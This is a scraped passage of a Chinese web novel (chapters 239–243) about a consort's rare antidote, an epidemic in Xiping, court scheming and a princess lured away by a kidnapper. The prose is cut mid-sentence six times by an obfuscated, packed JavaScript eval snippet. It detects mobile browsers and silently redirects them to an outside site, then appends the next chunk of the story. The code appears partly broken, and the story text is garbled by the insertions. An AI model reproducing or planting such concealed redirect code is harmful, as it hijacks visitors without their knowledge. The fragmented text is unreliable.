;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15262276|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快去取来。” 陆知苒松了口气。 南疆多毒虫,想来这阎罗笑乃是叶家独家的解毒丹。 但陆知苒却猜错了。 这阎罗笑与当日她拿出来救了萧宝珠的方子,都出自同一人。 阎罗笑可解百毒,便是阎罗见了也无可奈何,因此而得名。 阎罗笑极其珍贵,只因其配方已然失传,世间一共只有三颗。 以蜡油封存,可存上百年依旧完好。 那人赠与她时,半点没心疼。 当年,她父亲被七步蛇所咬,便是服用了阎罗笑,才捡回一条命。 她入京参选,二人分别前,便不容置疑地将一颗阎罗笑塞给了他,自己只留了一颗。 她一直希望这药永远都没有用到的时候,却不想,事与愿违。 一切或许早在冥冥之中就有了定数。 阎罗笑不仅有了用武之地,还用到了那赠药之人自己的身上。 这颗阎罗笑,正是谷栖山所赠。 无人知晓,一个深居后宫的宫妃,与一个驻守西平的大将军,年轻之时曾经有过一段不为人知的过往。 若她没有肩负家族的使命,他们之间定然又是另一番结局。 柔妃很努力地忘记那个人,但却在不经意间,从德丰帝的口中听到他的名字,这才得知,他去从军了,还屡立奇功,一战成名。 当晚柔妃就哭了一场,既为他的功成名就而欢喜,也为他们之间的遗憾错过而酸楚。 知道他过得好,柔妃也彻底放下了,只一心一意地陪伴儿子,做个好母亲。 直至今日。 她没想到自己儿子竟然会去了西平,还与谷栖山有了交集。 阿辞不知道阎罗笑的存在,只有一个可能,是谷栖山告诉阿辞的。 他,知道阿辞的身份吗?他彻底放下了吗? 心中乱七八糟,怎么都定不下来。 锦瑟将那瓷瓶取了出来,柔妃接过,用力地捏紧,这才交给陆知苒。 “此药珍贵,世上只有一粒,定要寻最可靠之人送往西平,决不能出半点差错!” “我知道,娘娘放心。” 陆知苒将药瓶交给霜华,霜华行了一礼便转身离开,脚步飞快,片刻不敢耽搁。 第239章 跟着他一起胡闹 目送霜华的背影离开,两人许久才收回目光。 柔妃已然调整好了情绪,她看向陆知苒,“你可知道,阿辞怎会去了西平?” 陆知苒略一犹豫,还是向柔妃坦白了。 “殿下此次本就是去往西平,他怕娘娘担心,这才没有说实话。” 柔妃方才便隐约猜到了,现在从陆知苒的口中听到确切的回答,顿时气得横眉冷竖。 “这个逆子,他连我都敢骗!” 陆知苒心想,他连皇上都敢骗呢。 正腹诽着,矛头很快指向了自己,“你也不拦着点!” 这话多少带了点迁怒之意。 陆知苒也不争辩,只老实认错,“都是臣女的错,应当对殿下多多劝诫。” 她态度这般乖巧,柔妃反倒是没话了。 自己儿子是个什么脾性,她心中还是有数的。 他决定的事,便是八头牛都拉不回来,自己委实没有理由迁怒旁人。 柔妃压下脾气,揉着眉心,“说吧,他去西平做什么?是为了寻蒋家那小子?” 陆知苒如实回答,“这是原因之一,另外,殿下也是为了控制西平疫情,防止羌笛再次来犯。” 柔妃气得咬牙切齿,“既如此,他为何不与皇上直说?至少皇上能派些人手给他,出了什么事,也有皇上兜底。” “此事殿下已经向皇上回禀过了,只是皇上需要派人核实,方能有所决断。殿下也是担心皇上不同意他前往西平,便只能出此下策。” 还有一个原因,他不想让萧晏清知晓他去了西平,打草惊蛇。 柔妃气得揉眉心,“胆敢欺君,他真是长能耐了。” 陆知苒小心翼翼地回话,“殿下出行前已回禀过皇上,也未曾说过自己不去西平,也,算不得欺君吧。” 柔妃:“……诡辩!” 陆知苒赶忙低头认错,“臣女并非有意顶撞娘娘,只是殿下的确担不起欺君之罪。” 反正他们死咬着不承认,德丰帝也无可奈何。 柔妃明白过来,为了自己儿子,她也只能帮着遮掩。 “他带了多少人?” “臣女给殿下借了七百多人,至于殿下自己有多少人,臣女不知。” 柔妃的眉头蹙得紧紧的,“他手底下就那么些人。” 亲王的府兵是有限制的,若是超了数,便有养兵之嫌。 这时,殿外传来一道应和声,“姑母别担心,我从滇南带来的五百多人,也全都借给表兄了。他们个个都是好手,若遇到危险,定能护着表兄。” 叶寒衣大踏步而入。 柔妃听了她这话,再次傻眼了。 “你竟也知此事?也跟着他一起胡闹?” 陆知苒也面露惊讶。 叶寒衣连忙笑着告饶,“是表兄开口问我借人,我才知晓他的计划。我劝过的,但没劝动,我怕他有危险,总不能不借人给他吧,我也怕姑母您担心,这才瞒着没说。” 柔妃恼得伸手拧了她一把,动作看似很重,但真正下手时却根本没用力,跟挠痒痒似的。 “亏得我还以为你是我的贴心小棉袄,却原来你跟那小子才是一边的。” 叶寒衣顺势抱住她的胳膊,“姑母,我错了,下次再也不敢了。您放心,表兄吉人天相,身边又带了上千名好手,定然不会有事的。” 柔妃的心头依旧笼着一层忧虑。 “寻常时候,自然出不了事,但西平眼下的局势不太平,万一再起战事……” 西平有疫情在前,谷栖山又**倒下了,若当真有宵小之徒妄图作乱,此时便是最佳时机。 那两个男人,都叫她无法放心。 叶寒衣一时不知如何安慰。 陆知苒开口,“娘娘,您不必担忧西平战局,小小羌笛不过弹丸小国,有何可惧?我还准备了一个秘密武器,有它在,羌笛必败无疑。” 柔妃和叶寒衣都看向她,“是什么?” 陆知苒轻轻吐出两个字,“火炮。” 二人目瞪口呆,怀疑自己听错了。 陆知苒隐去了萧晏珩的身份,将自己采购火炮之事道来。 “我已派了管事赶往岭南,再把火炮运往西平。他走的是水路,速度会快许多,就算西平再起战事,也定能来得及。更何况,我们应当对瑾王殿下和西平将领有信心,定不会让那羌笛蛮夷踏入我大齐国土半步。” 听她说完,柔妃和叶寒衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15269711|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看她的眼神都变了。 柔妃禁不住捂着心口,“数百万两,你,你说花出去,就花出去了?” 陆知苒一脸坦然,“银子若是放在手里不用,那就是死物,发挥不了半点用处。只有物尽其用,银子才有意义。” 柔妃看着她,一时五味杂陈。 叶寒衣喃喃开口,“你能为了表兄一掷千金,他这是何德何能啊。” 柔妃心里也是同感。 此前他说自己存不住财,就要找个家财万贯的王妃,吃软饭。 本是玩笑之言,而今她瞧着,怎么好像真被说中了? 她儿子可不就是在吃软饭吗? “我买火炮,不仅仅是为了殿下的安危,也是为了西平百姓,更是为了我自己,饿希望能借此机会再在皇上面前立下功劳。” 她的银子花出去了,自然是奔着高回报去的。 她的生意人,骨子里便奉行利益至上的原则。 她如此坦然地说出这番话,并未让柔妃和叶寒衣反感,反而愈发觉得她处事周全,通透豁达。 “此事,你待如何向皇上邀功?” 陆知苒道:“眼下时机未到,再等等。” 她与萧晏珩的交易才刚达成,还没有真正见到火炮,此时邀功,未免太过急切了些。 柔妃闻言点了点头。 的确是这个理。 邀功也有很大的学问,若是时机不当,在皇上那里非但落不到好处,反而会惹了一身腥。 “西平那头有什么消息,定要第一时间告诉我。不论什么消息,都不可隐瞒。” 她的语气难得严肃,陆知苒也不敢敷衍,连忙点头。 柔妃有些疲惫,摆摆手,让两人退下了。 锦瑟上前,轻轻握住了柔妃的手,“娘娘,您莫要担心,殿下福泽深厚,定不会有事的。” 末了,又压低声音,“镇西将军亦是有福之人,定能转危为安,化险为夷。” 柔妃的眼神有些空洞,微微点了点头。 陆知苒和叶寒衣相携往外走,她没有看到信,便询问起了西平的情况,陆知苒如实回答。 叶寒衣眼底浮起一抹疑惑,“阎罗笑?此乃解毒圣品,姑姑怎会有?” 第240章 无利不起早 陆知苒闻言也有些疑惑,“这不是你们叶家独门的解药吗?” 叶寒衣摇头,“不是,我曾听我爹说过此药非常厉害,但据说药方已然失传了。” 陆知苒露出若有所思之色。 上次,柔妃便拿出了一个治内伤的奇方,说是故人所赠。 这一回,她更是拿出了一颗已然失传的解毒丹,这只怕也是那位故人所赠。 什么样的故人,会舍得赠送如此珍贵的丹药? 只怕他们之间大有渊源。 叶寒衣心头亦闪过同样的念头,她想得比陆知苒的更多。 她曾无意中听爹娘提起过,姑母有一位感情甚笃的青梅竹马,那人的先辈是祖父的军师,不仅精通兵法,更精通医理。只是天妒英才,对方早早离世了。 难道姑母的这颗药就是来自于那位青梅竹马? 猜测归猜测,她不敢胡言,免得影响到姑母的清誉。 而此时,德丰帝派去西平的探子也带着消息回了京城。 德丰帝听罢,面色陡然一沉。 西平竟然真的爆发了疫病,且持续了数月时间! “谷栖山竟敢刻意欺瞒此事,真是岂有此理!” 发了一通火,德丰帝很快冷静下来,开始思考接下来之事。 去年西平疫病的惨状历历在目,朝廷不能置之不顾。 若是放任不管,只怕会酿成更大的惨剧。 若羌笛趁势来犯,后果不堪设想。 德丰帝召来了太医院新任院正许国祯。 原本蒋老太医乃太医院的院正,但上次在猎场,蒋泽霖意图算计萧宝珠,触怒龙颜。 蒋老太医入宫谢罪,主动辞去了太医院院正之职,并承诺,至此以后,蒋家儿孙都不再入朝为官,或入太医院任职。 德丰帝固然惜才,但蒋泽霖的行径的确触了他的底线,便直接允了蒋老太医的这番请求。 蒋泽霖凭借自己的一己之力,把蒋家数代经营的基业毁于一旦。 德丰帝委派太医院院正许国祯前往西平治疫,“朕将此番重任交给你,你定要将此次西平疫情平复,不可有半分差池闪失,可明白?” 许国祯心头直打鼓,但面上不敢迟疑,连忙领命。 告退之后,许国祯不禁擦了擦头上冷汗。 好端端的,西平怎的又爆发了疫病?那个地方可真不吉利。 他也真是倒霉啊,偏偏在这个时候升任太医院院正。 春风得意还没几天,就接了这么一桩苦差事。 谁愿意去治疫啊? 稍有不慎,那可是要把性命搭进去的。 此次西平百姓出现的病症很古怪,与以往疫病都不同,他现在都还稀里糊涂的,完全不知道这场疫病究竟是什么情况,心中半点谱都没有。 他回到太医院,他将皇上的旨意传达,还拿出了几个脉案。 “这些脉案,是西平那头传回来的,诸位都好生研究一番,该如何开方子,准备哪些药材,都拟个章程出来。若是此事没办妥,皇上怪罪下来,我们整个太医院都吃不了兜着走。” 众人拿着脉案开始研究,你一言我一语,开方子的时候,谁都下不去笔,都怕担责。 最后不知是谁提了句,“若那赵书宁在的话,兴许能写出个方子来。” 说者无心,听者有意。 许国祯听了,心思却是动了起来。 赵书宁在上次西平疫情中凭借一个方子立下大功,她又出身于西平,对当地百姓的情况定然更加了解。 或许,她真的能拟出方子来也不一定。 自己奉命前去西平治疫,若办不成此事,轻则罢官降职,重则项上人头不保。 为了自己的前程,他也只能舍下脸面,往宣平侯府走一趟,求一求对方了。 赵书宁前头刚犯了大错,受了重罚,若她此次能立下功劳,对她自己也是一桩好事。 许国祯不再迟疑,立马去了宣平侯府。 楚翊安听罢许国祯的话,好半晌都没有反应过来。 赵书宁带着伤偷偷前往西平,莫不是就是提前收到那消息,提前赶往治疗疫情,好抢占先机,再立功劳? 定是如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15269712|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她素来无利不起早,若非有利可图,她不会那么积极。 楚翊安的心头一阵狂跳不止。 只要赵书宁再次立下大功,宣平侯府就能重振门楣! “楚大人?” 楚翊安回过神来,对上许国祯焦急的面容。 “若拙荆能帮上许大人的忙,下官自然非常荣幸之至。但现在,着实不方便。” 许国祯只当楚翊安这话乃推托之词,脸上顿时露出几分不悦来。 “在下亦知此事有些冒昧,但为西平百姓治疗疫病乃皇上的旨意,若尊夫人能立下此功,贵府也能借此机会再创荣光。楚大人是聪明人,应当明白此间利害吧。” 楚翊安一脸歉意,“许大人,在下的话并非推托之词,而是事实。眼下拙荆并不在府中,她此前受了仗刑,养伤期间思乡心切,便归宁了。说来也巧,拙荆的娘家便在西平,按照脚程算,她现在兴许已经在西平城了。她若见到西平再生疫病,定然不会袖手旁观。” 许国祯万万没料到事实竟是如此,一时哑口无言。 他此次前来讨要方子,可不是真的希望赵书宁冒头立功,而是想要借赵书宁的方子,为自己立功,反正赵书宁不在现场,也没法证明自己用了她的方子。 但没想到,赵书宁竟然已经到西平了。 那自己岂能占到先机? 不管楚翊安这话究竟是真是假,他知道,自己讨要方子的计划注定落空了。 许国祯不再多待,匆匆离开。 赵书宁这条路子行不通,便只能走另一条路了。 他径直去了蒋家,亲自拜访了蒋老太医。 蒋老太医本就上了年纪,蒋泽霖闯下大祸,自己也断了一臂,蒋家上下都笼上一层灰败的阴霾,蒋老太医也越发苍老。 许国祯见到蒋老太医老了十岁不止的模样,暗暗心惊。 “蒋老,今日贸然登门,实在是万不得已,我有一桩人命关天的要紧事,想请您帮忙参详一二。” 蒋老太医掩唇轻咳几声,“何事?你说吧。” 第241章 平疫安抚使 许国祯赶忙把事情始末道来。 “下官才疏学浅,反复研究了好几遍脉案,却一无所获,实在惭愧,还请您指点一二。” 蒋老太爷即便面有病容,还是接过了脉案,认认真真地看了起来。 从蒋家离开,许国祯脸上终于有了几分放松之色。 他匆忙回到太医院,与众人针对蒋老太医的方子好生商讨一番,敲定之后,便开始准备药材。 待一切物资准备妥当,便可出发赶往西平。 许国祯离开后,楚翊安在屋中来回踱了几圈,便下定了决心,径直入了宫。 赵书宁说得对,他必须要抓住一切机会往上爬。 眼下机会都已经摆在了面前,他必须牢牢抓住。 他第一时间入宫面圣,自请前往西平平疫。 德丰帝冷哼一声,“你的消息倒是灵通得很。” 楚翊安低着头,“许院正一心为西平灾情担忧,为平疫之方奔波,微臣深受感触,也想为皇上,为朝廷略尽绵力。” 他状似随意地把许国祯给卖了,也变相在德丰帝面前上了眼药:许国祯能力不足,接到了这桩差事,也只能登门向赵书宁求助。 德丰帝的面色添了几分晦暗。 “你又不通医理,如何平疫?” “拙荆赵氏略通医术,上次侥幸平复了西平的疫情,此次亦愿为皇上分忧。她乃戴罪之身,原本微臣不敢贸然开口为其请求此次机会,但前段时日她恰好归宁,回了西平老家,眼下定然已在西平了。微臣愿意前去西平,与她一道平复疫情,戴罪立功。” 楚翊安说完这番话,重重叩首,手心都在阵阵冒汗。 他不知皇上会如何决断,会不会给自己这个机会,但不论如何,他都要放手一试。 德丰帝眸光浮动,“她上次挨了三十板子,只怕身子还没养好,竟去了西平?她当真是归宁,还是有旁的目的?” 此前萧晏辞就收到消息称西平有疫病,莫不是这赵书宁也得了信,所以才带伤前往,想要借此时机立功? 若当真如此的话,楚家人对西平疫情瞒而不报,同样要以罪论处。 楚翊安闻言后背瞬间冒出冷汗,他的身子匍匐得更低了几分。 “皇上明鉴,拙荆的确并非寻常归宁,而是……微臣与她发生了争执,她一气之下便悄悄走了,微臣发现时,为时已晚。但微臣亦有公务在身,不便亲自去追她回来,只派了人前往西平。此乃家丑,微臣方刻意隐瞒,请皇上恕罪!” 德丰帝目光锐利地落在他的身上,带着审视。 楚翊安跪在地上,不敢抬头,静静等着皇上的裁决。 不知过了多久,德丰帝才终于开口,“若朕派你前去西平,你是否能保证一定把疫情平复,不出半点岔子?” 楚翊安不敢大包大揽,只能谨慎回答,“微臣亦不曾亲眼见到西平的境况,不敢下断言。但微臣在西平待过三年,拙荆更是生在西平,长在西平,对其了解至少比京中的大人们多,若皇上派微臣前往,微臣与拙荆同心协力,定会竭尽所能将此事办妥。” “朕要你立下军令状,你敢不敢?” 楚翊安心头一紧。 立下军令状,若他做不到,就要受到严惩。 此事风险颇大。 但是,若不承担风险,他只怕连做这件事的机会都没有。 他难道要一直这么默默无闻地当一个小兵吗? 不,这不是他想要的。 楚翊安一咬牙,铿锵有力地给出了回答。 “微臣敢!” 他立下军令状,德丰帝当即下了口谕,“今西平城疫气盛行,朕便特授你为平疫安抚使,率三千军士,兼领太医署官,赶赴西平,速设病营,赈药恤兵。尔定当竭尽全力,抚定灾情,更需防范羌笛再次来犯,若有差池,尔便提头来见!” 楚翊安心头凛然,立马叩首领旨。 从宫中离开,楚翊安努力强压心头澎湃。 此去西平,是风险,更是机遇。 他一直觉得,西平旺他。 当初他便是在西平立下功劳,这次,也定复制成功之路。 他回了侯府,将这个好消息告诉家人,宣平侯楚定峰满面惊喜。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15276345|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>“皇上还能给你如此重任,可见皇上对你依旧十分器重,此前都是被赵书宁所牵连,才会被贬官。” 姜氏也很高兴,“正是,我儿能力超群,非比常人,若不是赵书宁那丧门星,你早就受到重用了。” 楚翊安想说,这次他能得皇上重用,反是沾了赵书宁的光,但他到底没有说出口。 此前他是被赵书宁牵连,才会被贬,不得重用,这次自己就算沾了赵书宁的光,也是她应当补偿自己的。 “待你再立下大功,受到皇上恩赏,咱们在陆家人面前,也能重新抬起头来。” 若他能替自己也挣个诰命之身回来,那她在陆知苒跟前,就更能挺直腰杆了。 楚翊安也想到了陆知苒,心中亦不受控制地产生幻想。 若他立下奇功,加官进爵,陆知苒是不是就会正眼看他?会不会后悔,自己当初执意与他和离的决定? 他们一家三口的心声,在此刻达到了默契的同频。 姜氏想到什么,又道:“你这一去,势必要错过清儿的亲事了。” 吴王的婚事时间已经定下了,就在半月后。 而楚云清是侧妃,她进门的时间要再晚几日,到时都临近七月了。 楚定峰满不在乎,“不过是个侧妃,一顶小轿就抬进去了,错过就错过了,正事要紧。” 这是实话,但落在姜氏的耳中却分外不中听。 “安儿若立下功劳,日后也能为清儿撑腰,到时候她在吴王府自然也无人能欺到她头上去。甚至,清儿能从侧妃被扶为正妃也不一定。” 楚翊安额角突突直跳,“母亲,这种话不可再说。” 姜氏不以为意,“我就只是在家里面,在自己人面前说说罢了。” “在清儿面前更不要提。” 他那妹妹就是个没脑子的,若把这话当真了,口无遮拦地乱说,那就是引火上身。 楚定峰板起脸,“安儿此去西平,究竟是福是祸还未可知,你和清儿越发要谨言慎行,不可给他招祸,给咱们侯府招祸。” 姜氏这才悻悻闭嘴。 第242章 眼缘 皇上的旨意并非秘密,陆知苒也很快得知了。 楚翊安果然见缝插针,半点机会都不错过。 大家都往西平去,不知又要掀起怎样的风波来。 这个消息刚刚传回京城,德丰帝亦没有大肆宣扬,只有关注朝中局势之人才第一时间知道内情。 陆知苒怕萧宝珠担心蒋南笙,便没有主动与她说起,是以她并不知道西平局势,依旧每天开开心心地傻乐。 这段时日她时常往孙家去,一是逗弄雪团,二也是与甄氏作伴。 碍于礼数,她不得不到孙老夫人跟前请安,走个过场之后,就立马往三房跑。 这一日她又要往三房去,孙老夫人终于忍耐不住开了口,“宝珠,在这孙家,只有你大舅舅和二舅舅才是你嫡亲的舅舅,其他人都不配与你攀亲戚。就算是有所谓的救命之恩,你前面几次给足了他们脸面也就罢了,现在又何必再主动往前凑,平白自降身份。” 她的语气带着严厉和刻薄,更有股不容置疑的强势。 “外祖母,您这话是什么意思?三舅舅也是外祖父的血脉,自然也是我舅舅。您这话传出去,就不怕旁人说您刻薄?” 萧宝珠看在她是长辈的份儿上,嘴上已经留了几分情,但说出口的话依旧让孙老夫人气结。 “你母后都不敢这么对我说话,你就是这么对我说话的?” 萧宝珠满不在乎,“那是我母后与您有感情,我与您可没这东西。” 她在这个外祖母这里,可没得到过几分真心的疼爱。 孙老夫人:…… “外祖母若不希望我来,下次就直接吩咐门房,把我拦在外头便是。但我进了孙家,我该给您的请安也请了,我要去别的地方,您就管不着了吧。您看上去有些不舒服,那我就不打扰您休息了。” 说完,她转身麻溜地走了,没有再听孙老夫人多说半个字。 孙老夫人指着她的背影,手指都在颤抖。 “她,她,她简直大逆不道!” 心腹嬷嬷连忙上前安抚,劝她消消气。 这时,大夫人周氏来了,她火上浇油。 “当日儿媳便被她指着鼻子骂,儿媳想着她是公主,开罪不起,便忍下了这口气,殊不知,她对您这个亲外祖母也如此放肆,简直是半点没把您放在眼里。儿媳说句不中听的话,若是没有皇后的授意,她怎敢如此对您?” 这话说到了孙老夫人的心坎上,成功地叫她脸色又黑沉了几分。 一个个的,都不把自己这个老婆子放在眼里,简直反了天了! 萧宝珠每次来,下人都会通传到**阁去。 孙景轩听说了,心情都会笼上阴霾,下人们也要挨一顿打。 这次也不例外。 下人被打得皮开肉绽,只能跪在地上连连告饶。 孙景轩牵扯到伤处,这才停了手。 “**,她是故意的,她一定是故意的!故意来气我!且等着吧,有人会替我好好收拾她!” 萧宝珠隔三差五地来,又有雪团日日陪伴自己,甄氏脸上的笑容肉眼可见地多了。 萧宝珠把雪团抱了起来,来回细看。 “这小东西,长胖了不少啊,三舅母,你把它照顾得真好。” 甄氏的眼底闪过一抹温柔笑意,“它本就是小奶狗,正长身子的时候,自然长得快。不过阿牧说,它的身形不大,再怎么长,也是小小的一只。” 萧宝珠摸着它的狗脑袋,“小小的一只才可爱呢。” 她又问起了甄氏这些时日的伙食,她每次来都得问一回,唯恐甄氏受委屈。 甄氏心中感动极了,“自从那日你闹了一场,大厨房那头就没敢闹幺蛾子,一切都依照正常份例来。” 萧宝珠这才稍微满意几分,“若他们再敢亏待您,您别瞒着,定要告诉我,我来替您出气。” 甄氏眼眶潮热,“这些都是无关紧要的小事,怎能一再麻烦你?” 她何德何能? 萧宝珠满不在乎,“我与您投缘,便乐意替您出头。” 眼缘这种东西,她自己也说不清楚。 甄氏性情温柔,每次看她的眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15276346|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都像是在看自己的孩子似的,萧宝珠觉得与她相处很自在,很放松,也很温暖。 甄氏给她做了一双鞋,针脚很细密,鞋底也十分柔软,她现在便穿在脚上。 甄氏还看出她的小衣不合身了,给她量了身,要替她重新再做两件。 这些事,对甄氏而言都是再寻常不过的小事,但萧宝珠在孙皇后那里却从未得到过。 甄氏喜欢萧宝珠的活泼,贪恋她给自己带来的生机与陪伴,殊不知,萧宝珠也同样享受着甄氏给自己带来的那种只有母亲才有的关爱。 她待到夕阳西下,才恋恋不舍地走了。 坐上回宫的马车,萧宝珠的心情十分不错。 谁料半道上,马车竟出了问题,车夫下车检查,发现车轴不知何时断裂了,要修得费些功夫,便是买了新的替换,也要花些时间。 萧宝珠便索性下车闲逛起来。 路过茶楼,她听到了里头的客人在高谈阔论,讨论的正是西平的疫情。 萧宝珠只当他们在胡说八道。 阿笙已经去了去了西平好几个月,凭她的本事,西平疫情早就应当控制住了,怎会如此愈演愈烈? 她让宫女琼华上前询问方知,此事竟是真的,父皇已然下旨,让楚翊安率三千人前往西平治疫,最近这几日便正在整理名册,准备药材和粮草,大家都有目共睹,错不了。 萧宝珠听罢这些消息,心头升起一股难掩的担忧与慌乱。 细算下来,阿笙的确很久没有给自己传信了。 她难道出了什么意外? 不,不可能的,一定是自己想多了! 正神思不属时,有人匆匆跑来,见到萧宝珠立马松了口气。 “九公主,在这里见到您实在太好了!奴才是蒋家的,我们家六公子有消息了!” 蒋家六“公子”,正是蒋南笙。 萧宝珠眼睛骤然一亮,“阿笙现在在哪里?她怎么样了?” 那小厮面露焦急,“六公子他现在在城外十里凉亭处,他身受重伤,只剩最后一口气了……” 第243章 自救 萧宝珠一惊,整个人几乎站立不稳,“什么!” “六公子说,想见您一面。这是他身上的信物,若九公主信得过小的,便随小的去一趟吧,若是去晚了,只怕……” 小厮手里拿着的是一块玉佩,那玉佩她认识,的确是蒋南笙随身所带之物。 她刚刚才听说了西平的局势不太平,此时蒋南笙的噩耗传来,立马印证了她先前的猜测,她瞬间慌了神,什么都顾不上了,当即就上了对方的马车。 “快,带我去见她!” 马车一路往城外疾驰,片刻都没有停留。 萧宝珠急得坐立难安,手中不停摩挲着那枚玉佩,一遍遍祈祷蒋南笙定要平安。 她看着玉佩,目光忽而定了一瞬。 她拿起来,凑到眼前认真细看,发现这玉佩一角的纹路似有不同。 她记得,自己曾不小心摔过阿笙的玉佩,在里侧摔出了一道细细的裂痕,不明显,反倒像是与原先的纹路融合在了一处。 而这块玉佩,却没有这道细纹。 方才她情急之下没有来得及细看,现在她仔仔细细地看了好几遍,彻底确认了,这玉佩里面的确没有细纹。 萧宝珠陡然升起一股凉意,一股不好的预感袭上心头。 这人真的是蒋南笙的人吗?自己此前从未见过。 她悄悄掀起车帘往外看,马车已经出了城,过了锦绣坊,眼下道路两边一片荒僻,她根本认不出是哪里。 她不禁握住了琼华的手。 她手心一片冰凉,琼华只当她是担心蒋南笙,便出声宽慰,“公主莫要担心,蒋公子吉人天相,定然不会有事的。” 萧宝珠咽了咽唾沫,凑到琼华的耳边低声说了些什么,琼华的面色也瞬间发白了。 片刻之后,琼华重重拍打车壁,“停一下,我家公主内急,快停停。” 车夫不为所动,“公主且忍忍吧,再不快些,就见不到我家六公子最后一面了。” 琼华急切地大喊,“我家公主腹痛难忍,受不了了,快停下来!” 对方没有再搭话,反倒把马车赶得更快了些。 他的这番反应,让主仆二人心头一阵发凉。 萧宝珠后悔极了,都怪自己太过蠢笨,轻易就上了对方的当。 “把车门打开,我们跳车!” 眼下跳车固然有风险,但若什么都不做,就不知道对方究竟要把她们带到什么地方去了。 然而,她们用力推门,却发现根本推不开。 这人不知何时,竟然把车门锁上了! 她们开始用力推门,砸门,大声呼救,但周围一片荒野,她们的呼喊很快就隐没在无边旷野之中。 不知过了多久,萧宝珠的嗓子都喊哑了,马车终于停了下来。 车门被打开,萧宝珠和琼华被从马车上拎了下来。 她还尚未来得及摆出公主的威风,就在看到眼前人时,彻底瞪大了眼。 …… 孙牧之每日下值,都会第一时间回府。 若回去得早,他或许能见到自己想见的人。 她最近常去紫霄院陪母亲,母亲明显比往日开怀不少。 今日交接时耽误了些时间,他往回赶时想,今日不知她来孙家没有,就算来了,怕是也已经走了,定见不到她了。 途径洒金街,余光瞥见一道人影上了一辆马车。 那背影有些熟悉,像她。 但那辆马车很朴素,不是她的马车。 而且马车离开的方向也不是入宫的,而是出城的。 孙牧之很快收回目光,暗笑自己魔怔了,看谁都像她。 很快,他又看到了一辆马车,是萧宝珠的,这次他能确认,绝对没错。 马车坏了,车夫在修。 他以为萧宝珠在马车上,便上前见礼,但却被告知,萧宝珠与丫鬟逛街去了。 不知为何,孙牧之想到了方才一瞥之间瞧见的那道人影。 是她吗? 孙牧之的心口莫名乱跳了几下,一股非常突然的不祥预感袭上心头。 他的预感一直都很准。 上次,他预感到萧宝珠在林子里会有危险,听到虎啸第一时间就赶去了。 这次,她是不是又遇到了危险? 或许,是他多想了,他比任何人都希望萧宝珠无事。 但是,万一呢? 万一有人要对萧宝珠不利,她毫不设防,上了对方的马车,该怎么办? 思绪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15284274|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转了两圈,他一夹马腹,朝前出城的方向狂奔而去,片刻都不迟疑。 出城的大路只有一条,但几里之后就出现了分叉。 孙牧之盯着地上的车轮印,很快就有了判断,往东边的方向追去。 